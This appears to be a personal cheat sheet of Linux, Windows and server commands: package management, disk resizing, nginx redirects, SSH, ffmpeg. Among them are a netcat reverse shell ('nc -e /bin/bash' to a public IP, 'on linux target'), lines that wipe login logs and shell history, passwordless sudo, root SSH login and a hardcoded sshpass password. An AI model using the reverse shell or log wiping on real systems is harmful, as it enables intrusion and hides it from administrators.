sudo !!
<Ctrl+r>
cd
cd -
In $HOME/.bashrc
or elsewhere
alias gpush="git push"
cat /etc/os-release
cat /etc/lsb-release
cat /etc/issue
free -h
ncdu
cat /proc/cpuinfo | awk '/^processor/{print $3}' | wc -l
cut -d\: -f1 /etc/passwd
touch a{1..9}.txt
cp a{1..9}.txt backup-dir
df -h
du -h [file/dir name]
# This is an `apt autoremove` counterpart
pacman -Rns $(pacman -Qdtq)
If password login is enabled, failed login attempts will be very annoying.
Below config will block those attempts in CentOS.
firewall-cmd --permanent --add-source=185.75.166.0/24 --zone=trusted
firewall-cmd --permanent --add-service=ssh --zone trusted
firewall-cmd --permanent --remove-service=ssh --zone-public
firewall-cmd –reload
last
sudo lastb
>/var/log/wtmp
>/var/log/btmp
history -c
or
>~/.bash_history
adduser debian
usermod -aG sudo debian
getent group sudo # verify
su - debian # login as debian
debian
is the new username
# Debian
usermod -aG sudo username
# CentOS
usermod -aG wheel username
Then run this
visudo
And add this line to the end of the file /etc/sudoers
username ALL=(ALL) NOPASSWD:ALL
sudo adduser username groupname
Then reboot.
vim /etc/ssh/sshd_config
Edit the content like so:
PasswordAuthentication yes
PermitRootLogin prohibit-password -> PermitRootLogin yes
Then run this:
systemctl restart sshd
# ip-guard.conf or name it as you like
server {
listen 80 default_server;
return 444;
}
lsb_release -a
cat /etc/issue
cat /etc/os-release
hostnamectl
*crazyoptimist.net/*
# Forwarding URL : 301 Permanent Redirect
https://crazyoptimist.net/$2
server {
if ($host = crazyoptimist.net) {
return 301 https://www.$host$request_uri;
}
server_name crazyoptimist.net;
listen 80;
return 404; # managed by Certbot
}
server {
if ($host = crazyoptimist.net) {
return 301 https://www.$host$request_uri;
}
server_name crazyoptimist.net;
listen 443 ssl;
return 404; # managed by Certbot
}
To make the computer running after closing the lid.
HandleLidSwitch=ignore in /etc/systemd/logind.conf
IgnoreLid=true in /etc/UPower/UPower.conf
apt --fix-broken install -y
sudo cat /etc/shells
chsh <username>
Then select /bin/bash
or /bin/zsh
😊
sshpass -p '!QAZXSW@' ssh [email protected] "cd /var/www/ebay.paytroy && sudo git pull"
- The semicolon (;) operator allows you to execute multiple commands in succession, regardless of whether each previous command succeeds.
- If you want the second command to only run if the first command is successful, separate the commands with the logical AND operator, which is two ampersands ( && ).
who -u
sudo kill “pid”
apt list –-installed
ssh -L localPort:localhost:hostPort -C -N -l username hostname
vim /etc/default/grub
GRUB_TIMEOUT=2
sudo update-grub
apt update -y && apt upgrade -y
apt install xfce4 xfce4-goodies
systemctl enable --now lightdm
# download anydesk and run:
anydesk --get-id
echo your-password | anydesk --set-password
# change the default display manager(gdm3, lightdm, sddm, lxdm)
# kde only goes with sddm
sudo apt install sddm
# if you only need to switch(i.e. already installed it)
sudo dpkg-reconfigure sddm
# start the service
sudo systemctl enable sddm
sudo systemctl disable lightdm
# change the login manager, specifically in kde
# open System Settings, go to Startup and Shutdown, and figure it out
# it turned out that AppArmor service was messing up with Docker
sudo aa-remove-unknown
docker container kill $(docker ps -q)
# or
sudo apt-get purge --auto-remove apparmor
sudo service docker restart
docker system prune --all --volumes
Run lsblk
which will print something like:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 200G 0 disk
└─sda1 8:1 0 200G 0 part /
sdb 8:16 0 400G 0 disk
└─sdb1 8:17 0 199.5G 0 part /mnt
Run fdisk
like this:
fdisk /dev/sdb
# carefully check where the partition starts
p
# remove the existing patition
d
# create a new patition with the whole free space
n
# write changes
w
Resize the file system, ext4
can be resized online.
resize2fs /dev/sdb1
Run lsblk
to confirm the result:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 200G 0 disk
└─sda1 8:1 0 200G 0 part /
sdb 8:16 0 400G 0 disk
└─sdb1 8:17 0 400G 0 part /mnt
- listen for linux target
nc -lnvp MY_PORT -s MY_PUBLIC_IP
- script on linux target
nc -e /bin/bash MY_PUBLIC_IP MY_PORT
w
This command will display all the live users on the machine.
Checkout TTY
and WHAT
columns.
sudo pkill -9 -t pts/1
pts/1
is just an example value from TTY
column.
Go to %USERPROFILE%
Create a file .wslconfig
[wsl2]
# Limits VM memory to use no more than 8 GB, this can be set as whole numbers using GB or MB
memory=8GB
# Limits number of cores
processors=4
/etc/wsl.conf
is used for distro-specific config.
Type \\wsl$
in file explorer
It's 1024 by default. Check by ulimit -n
or ulimit -a
sudo prlimit --nofile=8192 --pid $$; ulimit -n 8192
First find the Process ID (PID) associated with the port, eg. 5000
lsof -i tcp:5000
Kill the process:
kill -9 <PID>
man nmcli
# Show all active network devices
nmcli device show
# Show all active connections
nmcli connection show --active
# Delete a connection permanently
nmcli connection delete <connection name>
List all ports in use
sudo lsof -nP -iTCP -sTCP:LISTEN
Check a specific port (if it's already listening or available for mapping)
sudo lsof -nP -i:[port-number]
:vimgrep /pattern/./**/*.ext
:vimgrep /pattern/subdirname/**/*.ext
For all extensions, you can use *.*
sudo pacman -S --needed base-devel git
git clone https://aur.archlinux.org/yay-git.git
cd yay
makepkg -si
# Get PIDs of a service
pidof <Service Name>
pgrep <Service Name (stripped the first 15 characters)>
# Kill it
sudo kill -9 <PID>
# Get the UID from a PID
cat /proc/<PID>/status | grep Uid
# Get the username from a UID
id -un
# Get the groupname from a UID
id -gn
mkdir -p $HOME/.config/systemd/user/<Service Name>.service
systemctl --user status <Service Name>
systemctl --user list-units --type=target
$cert = New-SelfSignedCertificate -Subject "Screen Capture Control Panel" -CertStoreLocation "./" -HashAlgorithm sha256 -type CodeSigning
$pwd = ConvertTo-SecureString -String "{123456}" -Force -AsPlainText
Export-PfxCertificate -cert $cert -FilePath screen-client.pfx -Password $pwd
signtool.exe sign /f screen-client.pfx /fd sha256 /p "{123456}" screen-client.exe
Use this RUN command.
netplwiz
Use pnputil in CMD
pnputil /export-driver * "<full path of the destination folder>"
pnputil /add-driver "<full path of the backup folder>\*.inf" /subdirs /install
sudo pacman -S noto-fonts noto-fonts-cjk
sudo pacman -Sy fcitx5-im fcitx5-hangul fcitx5-configtool
Error mounting /dev/sdb2 at /run/media: "wrong fs type, bad option, bad superblock."
sudo ntfsfix -d /dev/sdb2
ffmpeg -i input.mp4 -ss 00:05:10 -to 00:15:30 -c:v copy -c:a copy output.mp4
# scale to one-quarter; use iw/4 for one-half
ffmpeg -i input.mp4 -vf "scale=trunc(iw/8)*2:trunc(ih/8)*2" -vcodec libx265 -crf 28 out.mp4
bcdedit /?
bcdedit /enum firmware
Install and use efibootmgr
sudo pacman -S man-db
sudo mandb
sudo tlp setcharge STOP_CHARGE_THRESH 1
Use diskpart.exe
list disk
select disk 2
# this time you'll see an asterisk before the selected disk name
list disk
# reset the selected disk to factory settings
clean
exit